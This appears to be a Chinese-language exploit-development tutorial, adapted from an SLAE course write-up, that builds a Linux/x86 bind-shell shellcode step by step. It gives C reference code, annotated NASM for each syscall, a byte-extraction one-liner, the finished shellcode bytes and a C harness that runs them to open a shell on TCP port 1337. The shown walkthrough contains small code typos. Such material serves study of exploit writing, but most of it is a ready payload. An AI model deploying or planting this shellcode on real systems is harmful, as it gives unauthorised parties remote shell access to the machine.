Shellcode - 指定TCP端口绑定shell- Linux/x86

本文章完全参考https://www.rcesecurity.com/2014/07/slae-shell-bind-tcp-shellcode-linux-x86/

Shellcode分析

此次的Shellcode需要满足的要求

  • 通过TCP绑定到端口
  • 在连接上执行shell
  • 端口端口容易配置

在Linux系统调用时使用syscall,关于syscall的调用细节可以参考http://syscalls.kernelgrok.com/,但是近期在这个网站上看不到,所以我用其他的方法得到了这部分细节并在上一篇文章呈现

Shellcode代码关联

这里为了方便使用C语言做代码关联

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
int i; // 用于dup2
int sockfd; // socket文件描述符
int clientfd; // client文件描述符
socklen_t socklen; // socket建立新连接的长度

struct sockaddr_in srv_addr; // 服务端监听地址
struct sockaddr_in cli_addr; // 客户端地址

srv_addr.sin_family = AF_INET; // 设置服务端套接字类型协议簇为IPv4
srv_addr.sin_port = htons( 1337 ); // 监听端口 需要转换为网络字节序
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // 监听任何地址 需要转换为网络字节序

// 创建新的TCPsocket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

// 绑定socket
bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

// 监听socket
listen(sockfd, 0);

// 接受新连接
socklen = sizeof(cli_addr);
clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

// dup2-loop 重定向为 stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++)
dup2(clientfd, i);

// 开启shell
execve( "/bin/sh", NULL, NULL );
}

汇编准备

根据C源代码,需要将以下函数转为汇编

  • socket()
  • bind()
  • listen()
  • accept()
  • dup2()
  • execve()

通过SYS_SOCKET创建套接字

在windows中做在调用函数前需要找到函数位置,而在linux中使用syscall即可直接调用

在前面给出的syscall参考表中可以发现调用0x66(sys_socketcall)使用基本套接字

#NameRegistersDefinition
eaxebxecxedxesiedi
102sys_socketcall0x66int callunsigned long __user *args---net/socket.c:2210

下面的汇编操作不对EAX和EBX进行XOR,而是使用MOV将合适的值赋予它们,使用PUSH/POP组合比较节省shellcode大小

将0x66写入eax

1
2
push 0x66
pop eax

关于socketcall()系统调用的不同函数调用课在/usr/inculde/linux/net.h中找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define SYS_SOCKET        1        /* sys_socket(2)       */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */

根据该列表,需要从SYS_SOCKET(0x1)开始,我们可以将0x1写入ebx

1
2
push 0x1
pop ebx

socket()调用时需要三个参数并返回一个socket文件描述符

1
2
sockfd = socket(int socket_family, int socket_type, int protocol);
sockfd = socket( AF_INET , SOCK_STREAM , IPPROTO_IP );

要设置争取的socket()调用,需要在不同的文件中找到参数的定义

1
2
3
/usr/include/linux/in.h           =>   IPPROTO_IP = 0
/usr/include/bits/socket_type.h => SOCK_STREAM = 1
/usr/inculde/bits/socket.h => AF_INET = 2

清理ESI寄存器并将三个参数压入栈堆

1
2
3
4
xor esi,esi
push esi
push ebx
push 0x2

由于ECX需要保存指向此结构的指针,所以需要ESP的副本

1
mov ecx,esp

最后执行syscall

1
int 0x80

上面这一部分会将socket文件描述符返回给EAX,而后续函数依赖于此socket文件描述符,而且后续的每个调用都会将结果保存在EAX中并覆盖socket文件描述符,所以需要将其放在未使用的寄存器中(如EDI),以便后续使用,而EDI的值可能不可控,所以需要先填写一些内容

1
2
pop edi
xchg edi,eax

此时各个寄存器的值为

1
2
3
4
5
eax 0x2
ebx 0x1
ecx esp副本
esi 0x0
edi socket文件描述符

通过SYS_BIND将其绑定到地址/端口

根据列表,需要调用SYS_BIND(0x2),由于上一步的xchg操作,eax的值已经为0x2,所以将EAX和EBX的值进行交换并将al的值设置为0x66以便syscall调用

1
2
xchg ebx,eax
mov al,0x66

bind()调用时也需要三个参数并返回一个socket文件描述符

1
2
3
4
5
int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

sockfd // 服务器或者客户端自己创建的socket
addr // 服务器或者客户端自己的地址信息(协议族、IP、端口号)
addrlen // 服务器或者客户端自己的地址信息的长度

需要注意const struct sockaddr,需要先定义这个,如果先让bind()的addrlen先入栈,再入sockaddr参数,会导致分段错误

1
2
3
4
5
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};

所以汇编应该如下

1
2
3
4
push esi
push word 0x3905
push word ebx
mov ecx,esp

然后才入栈bind()的参数

1
2
3
4
push 0x10
push ecx
push edi
mov exc,esp

最后再进行调用

1
int 0x80

此时各个寄存器的值为

1
2
3
4
5
eax 0x0
ebx 0x2
ecx esp副本
esi 0x0
edi socket文件描述符

通过SYS_LISTEN监听连接

先将EAX和EBX的值设置为SYS_LISTEN的调用参数

1
2
mov al,0x66
mov bl,0x4

listen()接受两个参数

1
int listen(int sockfd, int backlog);

比较简单

1
2
3
push esi
push edi
mov ecx,esp

最后调用

1
int 0x80

此时各个寄存器的值为

1
2
3
4
5
eax 0x0
ebx 0x4
ecx esp副本
esi 0x0
edi socket文件描述符

通过SYS_ACCEPT()接受新连接

同样先将EAX和EBX的值设置为SYS_ACCEPT()的调用参数

1
2
mov al,0x66
inc ebx

accept()接受三个参数

1
2
accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

shellcode中的accept()和平时的开发有所不同,因为不需要知道客户端的任何信息,所以addrlen和sockaddr可以为0

1
2
3
4
push esi
push esi
push edi
mov ecx,esp

最后调用syscall,当有连接时,客户端的socket文件描述符将返回到EAX

1
int 0x80

此时各个寄存器的值为

1
2
3
4
5
eax accept文件描述符
ebx 0x5
ecx esp副本
esi 0x0
edi socket文件描述符

通过SYS_DUP2重定向stdin,stdout,stderr

想在shell中看到某些内容,需要将stdin(0),stdout(1)和stderr(2)重定向到客户端socket文件描述符,可以通过使用SYS_DUP2系统调用3次(例如在循环中)来完成

1
2
3
4
5
6
7
8
pop ecx
pop ecx
mov cl,0x2
xchg ebx,eax
mov al,0x3f
int 0x80
dec ecx
jns 3f

通过SYS_EXECVE执行/bin/sh

现在已经将stdin,stdout和stderr重定向到客户端socket文件描述符,最后执行/bin/sh就可以了,先将EAX的值设置为sys_execve(0xb)

1
mov al,0x0b

#NameRegistersDefinition
eaxebxecxedxesiedi
11sys_execve0x0bchar __user char user user char user user struct pt_regs -arch/alpha/kernel/entry.S:925

execve()接受三个参数

1
int execve(const char *filename, char *const argv[],char *const envp[]);

其中有一个filename,所以需要一个指向文件名的指针

1
2
3
push 0x68732f2f
push 0x6e69622f
mov ebx,esp

EBX完成了,还需要ECX和EDX为0x0,此时的ECX为0xffffffff,所以自增一下就是0x0

1
2
inc ecx
mov edx,ecx

最后执行

1
int 0x80

完整Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
; SLAE - Assignment #1: Shell Bind TCP Shellcode (Linux/x86)
; Author: Julien Ahrens (@MrTuxracer)
; Website: https://www.rcesecurity.com

global _start

section .text
_start:
;
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
push 0x66
pop eax ;syscall: sys_socketcall + cleanup eax register

push 0x1
pop ebx ;sys_socket (0x1) + cleanup ebx register

xor esi, esi ;cleanup esi register

push esi ;protocol=IPPROTO_IP (0x0)
push ebx ;socket_type=SOCK_STREAM (0x1)
push 0x2 ;socket_family=AF_INET (0x2)

mov ecx, esp ;save pointer to socket() args

int 0x80 ;exec sys_socket

pop edi ;cleanup register for xchg

xchg edi, eax; save result (sockfd) for later usage

;
; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
xchg ebx, eax ;sys_bind (0x2)
mov al, 0x66 ;syscall: sys_socketcall

;struct sockaddr_in {
; __kernel_sa_family_t sin_family; /* Address family */
; __be16 sin_port; /* Port number */
; struct in_addr sin_addr; /* Internet address */
;};

push esi ;sin_addr=0 (INADDR_ANY)
push word 0x3905 ;sin_port=1337 (network byte order)
push word bx ;sin_family=AF_INET (0x2)
mov ecx, esp ;save pointer to sockaddr_in struct

push 0x10 ;addrlen=16
push ecx ;struct sockaddr pointer
push edi ;sockfd

mov ecx, esp ;save pointer to bind() args

int 0x80 ;exec sys_bind

;
; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
;
mov al, 0x66 ;syscall 102 (sys_socketcall)
mov bl, 0x4 ;sys_listen

push esi ;backlog=0
push edi ;sockfd

mov ecx, esp ;save pointer to listen() args

int 0x80 ;exec sys_listen

;
; int socketcall(int call, unsigned long *args);
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
;
mov al, 0x66 ;syscall: sys_socketcall
inc ebx ;sys_accept (0x5)

push esi ;addrlen=0
push esi ;addr=0
push edi ;sockfd

mov ecx, esp ;save pointer to accept() args

int 0x80 ;exec sys_accept

;
; int socketcall(int call, unsigned long *args);
; int dup2(int oldfd, int newfd);
;
pop ecx ;dummy-pop to get to the next 0x0
pop ecx ;make sure that ecx contains 0x0 to get the next mov working (sockfd might be greater that 0xFF)
mov cl, 0x2 ;initiate counter

xchg ebx,eax ;save clientfd
; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
loop:
mov al, 0x3f ;syscall: sys_dup2
int 0x80 ;exec sys_dup2
dec ecx ;decrement loop-counter
jns loop ;as long as SF is not set -> jmp to loop

;
; int execve(const char *filename, char *const argv[],char *const envp[]);
;
mov al, 0x0b ;syscall: sys_execve

;terminating NULL is already on the stack
push 0x68732f2f ;"hs//"
push 0x6e69622f ;"nib/"

mov ebx, esp ;save pointer to filename

inc ecx ;argv=0, ecx is 0xffffffff (+SF is set)
mov edx, ecx ;make sure edx contains 0

int 0x80 ; exec sys_execve

保存为shellcode.asm后
进行编译

1
nasm -f elf shellcode.asm

链接

1
ld -melf_i386 shellcode.o

提取shellcode

1
objdump -d ./shellcode.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

做一些处理后得到shellcode

1
2
3
4
\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39
\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56
\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68
\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80

放在shellcode.c中

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>

unsigned char shellcode[] = \
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}

编译c文件

1
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

执行后可以看到1337端口开放,可以使用nc等进行连接,连接即为shell